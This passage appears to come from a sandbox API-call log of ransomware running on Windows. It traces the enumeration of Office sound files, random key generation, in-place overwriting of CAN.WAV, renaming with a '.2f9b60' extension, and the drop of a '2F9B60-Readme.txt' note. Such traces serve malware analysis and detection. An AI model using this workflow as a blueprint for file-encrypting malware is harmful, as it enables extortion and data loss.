_Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0216.800] wcscat (in: _Dest=0x202b0470, _Source="RADAR.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV" [0216.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240c [0216.801] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOT.WAV", cAlternateFileName="")) returned 1 [0216.801] wcscmp (_String1="TOOT.WAV", _String2=".") returned 1 [0216.801] wcscmp (_String1="TOOT.WAV", _String2="..") returned 1 [0216.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b01f0 [0216.801] wcscpy (in: _Dest=0x202b01f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0216.801] wcscat (in: _Dest=0x202b01f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0216.801] wcscat (in: _Dest=0x202b01f0, _Source="TOOT.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV" [0216.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2370 [0216.802] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIBE.WAV", cAlternateFileName="")) returned 1 [0216.802] wcscmp (_String1="VIBE.WAV", _String2=".") returned 1 [0216.802] wcscmp (_String1="VIBE.WAV", _String2="..") returned 1 [0216.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318b3a0 [0216.803] wcscpy (in: _Dest=0x4318b3a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0216.803] wcscat (in: _Dest=0x4318b3a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0216.803] wcscat (in: _Dest=0x4318b3a0, _Source="VIBE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV" [0216.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0c [0216.804] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 1 [0216.804] wcscmp (_String1="WARN.WAV", _String2=".") returned 1 [0216.804] wcscmp (_String1="WARN.WAV", _String2="..") returned 1 [0216.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318b440 [0216.804] wcscpy (in: _Dest=0x4318b440, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0216.804] wcscat (in: _Dest=0x4318b440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0216.804] wcscat (in: _Dest=0x4318b440, _Source="WARN.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV" [0216.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774 [0216.805] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 0 [0216.805] FindClose (in: hFindFile=0x1b7cebe0 | out: hFindFile=0x1b7cebe0) returned 1 [0216.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20de0) returned 1 [0216.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4260) returned 1 [0216.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af970) returned 1 Thread: id = 1809 os_tid = 0xcd4 [0132.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a57c0 [0132.371] wcscpy (in: _Dest=0x202a57c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0132.371] wcscat (in: _Dest=0x202a57c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0132.371] wcscat (in: _Dest=0x202a57c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*" [0132.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e950 [0132.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb80 [0132.811] wcscmp (_String1=".", _String2=".") returned 0 [0132.811] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.811] wcscmp (_String1="..", _String2=".") returned 1 [0132.811] wcscmp (_String1="..", _String2="..") returned 0 [0132.811] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1 [0132.811] wcscmp (_String1="CAN.WAV", _String2=".") returned 1 [0132.811] wcscmp (_String1="CAN.WAV", _String2="..") returned 1 [0132.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508630 [0132.812] wcscpy (in: _Dest=0x20508630, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0132.812] wcscat (in: _Dest=0x20508630, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0132.812] wcscat (in: _Dest=0x20508630, _Source="CAN.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" [0151.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav")) returned 0x20 [0151.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV", dwFileAttributes=0x20) returned 1 [0151.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b40 [0151.379] GetFileSizeEx (in: hFile=0x1b40, lpFileSize=0x29a3f7c0 | out: lpFileSize=0x29a3f7c0*=51452) returned 1 [0151.379] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0xc8f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.379] ReadFile (in: hFile=0x1b40, lpBuffer=0x29a3f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29a3f788, lpOverlapped=0x0 | out: lpBuffer=0x29a3f740*, lpNumberOfBytesRead=0x29a3f788*=0x4, lpOverlapped=0x0) returned 1 [0151.393] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bac0 [0151.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0151.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7090 [0151.394] NtQuerySystemTime (in: CurrentTime=0x29a3f680 | out: CurrentTime=0x29a3f680*=132462177566002000) returned 0x0 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0xa8dd27d [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x5bf23ac6 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x5406daaf [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x2cb6e464 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7ad0965a [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x471ab168 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x43349044 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x27e62224 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x60113421 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x1b348dd5 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x4355cbc4 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7409845a [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x61ec1759 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x3acf15e5 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x1f866a [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x36ebd5f6 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x5f49e5c6 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x6cab6e7f [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x70492ee5 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x2e61463b [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x1438fc56 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7bf8967a [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x111558fe [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x21f68ecb [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x796d5653 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7187d076 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x464ddaf2 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x60bc9721 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x5754b15f [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x6a08a287 [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x7814172a [0151.394] RtlRandomEx (in: Seed=0x29a3f670 | out: Seed=0x29a3f670) returned 0x68f013e1 [0151.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff690 [0151.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff6c0 [0151.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7090) returned 1 [0151.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bac0) returned 1 [0151.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424ea600 [0151.406] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.406] ReadFile (in: hFile=0x1b40, lpBuffer=0x424ea600, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x29a3f6e0, lpOverlapped=0x0 | out: lpBuffer=0x424ea600*, lpNumberOfBytesRead=0x29a3f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0151.427] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0151.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bac0 [0151.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bac0) returned 1 [0151.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424f2110 [0151.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bac0 [0151.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff720 [0151.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff720) returned 1 [0151.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0151.429] WriteFile (hFile=0x1b40, lpBuffer=0x424f2110, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x29a3f6e0, lpOverlapped=0x0) [0194.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424f2110) returned 1 [0194.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424ea600) returned 1 [0194.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4313a150 [0194.324] SetFilePointerEx (in: hFile=0x1b40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.324] WriteFile (in: hFile=0x1b40, lpBuffer=0x420550b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x29a3f790, lpOverlapped=0x0 | out: lpBuffer=0x420550b0*, lpNumberOfBytesWritten=0x29a3f790*=0x100, lpOverlapped=0x0) returned 1 [0201.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0201.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7620 [0201.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7620) returned 1 [0201.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x431f8740 [0201.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7620 [0201.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75f0 [0201.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced75f0) returned 1 [0201.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0201.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1ced75f0 [0201.909] sprintf (in: _Dest=0x1ced75f0, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.909] sprintf (in: _Dest=0x1ced75f2, _Format="%c%c" | out: _Dest="aa") returned 2 [0201.909] sprintf (in: _Dest=0x1ced75f4, _Format="%c%c" | out: _Dest="93") returned 2 [0201.909] sprintf (in: _Dest=0x1ced75f6, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.909] sprintf (in: _Dest=0x1ced75f8, _Format="%c%c" | out: _Dest="a8") returned 2 [0201.909] sprintf (in: _Dest=0x1ced75fa, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.909] sprintf (in: _Dest=0x1ced75fc, _Format="%c%c" | out: _Dest="99") returned 2 [0201.909] sprintf (in: _Dest=0x1ced75fe, _Format="%c%c" | out: _Dest="48") returned 2 [0201.909] sprintf (in: _Dest=0x1ced7600, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.909] sprintf (in: _Dest=0x1ced7602, _Format="%c%c" | out: _Dest="9b") returned 2 [0201.909] sprintf (in: _Dest=0x1ced7604, _Format="%c%c" | out: _Dest="25") returned 2 [0201.909] sprintf (in: _Dest=0x1ced7606, _Format="%c%c" | out: _Dest="ec") returned 2 [0201.909] sprintf (in: _Dest=0x1ced7608, _Format="%c%c" | out: _Dest="86") returned 2 [0201.909] sprintf (in: _Dest=0x1ced760a, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.910] RtlInitAnsiString (in: DestinationString=0x29a3f808, SourceString="b7aa93b2a8b799489a9b25ec862f" | out: DestinationString="b7aa93b2a8b799489a9b25ec862f") [0201.910] RtlAnsiStringToUnicodeString (in: DestinationString=0x29a3f7d8, SourceString="b7aa93b2a8b799489a9b25ec862f", AllocateDestinationString=1 | out: DestinationString="b7aa93b2a8b799489a9b25ec862f") returned 0x0 [0201.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5ba70 [0201.910] wcscat (in: _Dest=0x431a7f30, _Source="b7aa93b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\b7aa93b") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\b7aa93b" [0201.910] wcscat (in: _Dest=0x431a7f30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\b7aa93b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\b7aa93b.2f9b60" [0201.910] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\b7aa93b.2f9b60", NtPathName=0x29a3f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\b7aa93b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310b350 [0205.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b350) returned 1 [0205.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320e460) returned 1 [0205.949] NtQueryInformationFile (in: FileHandle=0x1b40, IoStatusBlock=0x29a3f818, FileInformation=0x29a3f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29a3f818, FileInformation=0x29a3f828) returned 0x0 [0205.949] NtSetInformationFile (FileHandle=0x1b40, IoStatusBlock=0x29a3f818, FileInformation=0x29a3f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7f30) returned 1 [0209.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0209.034] FlushFileBuffers (hFile=0x1b40) returned 1 [0209.047] CloseHandle (hObject=0x1b40) returned 1 [0216.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b7a5700 [0216.058] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\" [0216.058] wcscat (in: _Dest=0x1b7a5700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\2F9B60-Readme.txt" [0216.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\2f9b60-readme.txt")) returned 0xffffffff [0216.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa38 [0219.553] WriteFile (in: hFile=0xa38, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29a3f6d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29a3f6d0*=0xba9, lpOverlapped=0x0) returned 1 [0222.780] CloseHandle (hObject=0xa38) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 [0224.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508630) returned 1 [0224.752] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPLER.WAV", cAlternateFileName="")) returned 1 [0224.752] wcscmp (_String1="COUPLER.WAV", _String2=".") returned 1 [0224.752] wcscmp (_String1="COUPLER.WAV", _String2="..") returned 1 [0224.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20508630 [0224.753] wcscpy (in: _Dest=0x20508630, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0224.753] wcscat (in: _Dest=0x20508630, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft 